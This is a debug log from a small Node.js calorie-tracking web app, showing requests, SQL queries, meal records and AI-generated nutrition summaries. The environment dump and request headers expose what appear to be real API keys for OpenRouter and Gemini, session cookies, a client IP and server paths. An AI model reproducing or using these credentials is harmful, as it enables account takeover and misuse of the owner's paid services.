    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-19T16:41:53.469Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T16:41:53.469Z server-connect:app Executing action step identify
2025-12-19T16:41:53.469Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:53.469Z server-connect:output identity: 1
2025-12-19T16:41:53.469Z server-connect:app Executing action step restrict
2025-12-19T16:41:53.469Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:53.470Z server-connect:output restrict: undefined
2025-12-19T16:41:53.470Z server-connect:app Executing action step single
2025-12-19T16:41:53.470Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T16:41:53.471Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
    bad_points: [
      'Carbohydrate sources are dominant in the main meal.',
      'Limited variety in vegetables and fiber intake.',
      'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
      'The jaggery nuts patti adds a significant amount of sugar.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle development.',
      'Consistent early morning gym sessions.',
      'Use of unsweetened milk tea is a positive choice.'
    ],
    suggestions: [
      'Incorporate a larger portion of vegetables in the main meal.',
      'Consider adding lean protein sources to meals beyond the supplement.',
      'Increase intake of fruits or other fibrous foods.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T16:41:53.472Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T16:41:53.472Z server-connect:app Executing action step identify
2025-12-19T16:41:53.473Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:53.473Z server-connect:output identity: 1
2025-12-19T16:41:53.473Z server-connect:app Executing action step restrict
2025-12-19T16:41:53.473Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:41:53.473Z server-connect:output restrict: undefined
2025-12-19T16:41:53.473Z server-connect:app Executing action step single
2025-12-19T16:41:53.473Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T16:41:53.475Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T16:41:53.475Z server-connect:app Executing action step select
2025-12-19T16:41:53.475Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T16:41:53.476Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  },
  {
    id: 455,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
    replacements: 'Plain roasted nuts (almonds, walnuts),A small piece of fruit (apple, orange),Sugar-free nut bars',
    created_at: '2025-12-19T04:51:09.000Z',
    skip_level: 2,
    skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
  },
  {
    id: 456,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Salted Hot Peanuts',
    calories: 285,
    protein_gm: 13,
    carbs_gm: 9,
    fat_gm: 24,
    quantity: '50 gm',
    replacements: 'Plain roasted peanuts (unsalted),Boiled peanuts,Edamame,Air-popped popcorn (plain)',
    created_at: '2025-12-19T04:56:35.000Z',
    skip_level: 2,
    skip_reason: 'While peanuts offer protein and healthy fats, salted hot peanuts can be high in sodium and often contain added oils/spices that increase calorie density. For muscle development, a less processed, unsalted version would be preferable, or consider other protein sources with less fat if calorie intake is a concern.'
  }
]
2025-12-19T16:41:53.477Z server-connect:app Executing action step setvalue
2025-12-19T16:41:53.477Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T16:41:53.477Z server-connect:output var_total: 1151
2025-12-19T16:41:53.477Z server-connect:app Executing action step setvalue
2025-12-19T16:41:53.477Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T16:41:53.477Z server-connect:output var_consumed: 48
2025-12-19T16:41:53.477Z server-connect:app Executing action step setvalue
2025-12-19T16:41:53.477Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T16:41:53.477Z server-connect:output var_deficit: 1249
2025-12-19T16:41:53.477Z server-connect:app Executing action step custom
2025-12-19T16:41:53.477Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T16:41:53.478Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '1151',
    surplus_or_deficit: '1249',
    status_flag: 2
  }
]
2025-12-19T16:41:54.503Z server-connect:app Executing action step identify
2025-12-19T16:41:54.503Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:54.503Z server-connect:output identity: 1
2025-12-19T16:43:08.258Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T16:43:08.259Z server-connect:app Executing action step identify
2025-12-19T16:43:08.259Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:08.259Z server-connect:output identity: 1
2025-12-19T16:43:08.259Z server-connect:app Executing action step restrict
2025-12-19T16:43:08.259Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:08.262Z server-connect:output restrict: undefined
2025-12-19T16:43:08.262Z server-connect:app Executing action step processWithGemini
2025-12-19T16:43:08.262Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T16:43:10.936Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Chicken Tandoori',
      quantity: '5 medium pieces (approx 500g, assuming 100g per piece)',
      calories_consumed: 750,
      total_calories: 750,
      protein: 150,
      carbs: 0,
      fat: 15,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of lean protein for muscle development.'
    },
    {
      food_name: 'Egg Omelette',
      quantity: '2 eggs (approx 100g)',
      calories_consumed: 154,
      total_calories: 154,
      protein: 13,
      carbs: 1,
      fat: 11,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of protein and healthy fats. Consider using less oil or cooking spray.'
    },
    {
      food_name: 'Budweiser Non-Alcoholic',
      quantity: '1 can (approx 330ml)',
      calories_consumed: 60,
      total_calories: 60,
      protein: 0,
      carbs: 15,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While low in calories, it offers minimal nutritional value for muscle development. Hydration is key, and water is a better choice.'
    }
  ],
  total_macros: {
    total_calories: 964,
    total_protein: 163,
    total_carbs: 16,
    total_fat: 26,
    unit: { protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-19T16:43:35.274Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T16:43:35.275Z server-connect:app Executing action step identify
2025-12-19T16:43:35.275Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:35.275Z server-connect:output identity: 1
2025-12-19T16:43:35.276Z server-connect:app Executing action step restrict
2025-12-19T16:43:35.276Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:35.276Z server-connect:output restrict: undefined
2025-12-19T16:43:35.276Z server-connect:app Executing action step condition
2025-12-19T16:43:35.276Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T16:43:35.276Z server-connect:app Executing action step repeat
2025-12-19T16:43:35.276Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T16:43:35.276Z server-connect:app Executing action step insert
2025-12-19T16:43:35.276Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T16:43:35.278Z server-connect:output calories: { affected: 1, identity: 457 }
2025-12-19T16:43:35.278Z server-connect:app Executing action step insert
2025-12-19T16:43:35.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T16:43:35.278Z server-connect:output calories: { affected: 1, identity: 458 }
2025-12-19T16:43:35.278Z server-connect:app Executing action step insert
2025-12-19T16:43:35.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T16:43:35.279Z server-connect:output calories: { affected: 1, identity: 459 }
2025-12-19T16:43:35.279Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-19T16:43:35.279Z server-connect:output condition: undefined
2025-12-19T16:43:35.574Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T16:43:35.574Z server-connect:app Executing action step identify
2025-12-19T16:43:35.574Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:35.575Z server-connect:output identity: 1
2025-12-19T16:43:35.575Z server-connect:app Executing action step restrict
2025-12-19T16:43:35.575Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T16:43:35.575Z server-connect:output restrict: undefined
2025-12-19T16:43:35.575Z server-connect:router Render template layouts/main
2025-12-19T16:43:35.575Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T16:43:35.885Z server-connect:app Executing action step identify
2025-12-19T16:43:35.885Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:35.885Z server-connect:output identity: 1
2025-12-19T16:43:36.322Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T16:43:36.323Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T16:43:36.324Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T16:43:36.324Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T16:43:36.324Z server-connect:app Executing action step identify
2025-12-19T16:43:36.324Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:36.324Z server-connect:output identity: 1
2025-12-19T16:43:36.324Z server-connect:app Executing action step restrict
2025-12-19T16:43:36.324Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:36.324Z server-connect:app Executing action step identify
2025-12-19T16:43:36.324Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:36.325Z server-connect:output identity: 1
2025-12-19T16:43:36.325Z server-connect:app Executing action step restrict
2025-12-19T16:43:36.325Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:36.325Z server-connect:app Executing action step identify
2025-12-19T16:43:36.325Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:36.325Z server-connect:output identity: 1
2025-12-19T16:43:36.325Z server-connect:app Executing action step restrict
2025-12-19T16:43:36.325Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:36.325Z server-connect:output restrict: undefined
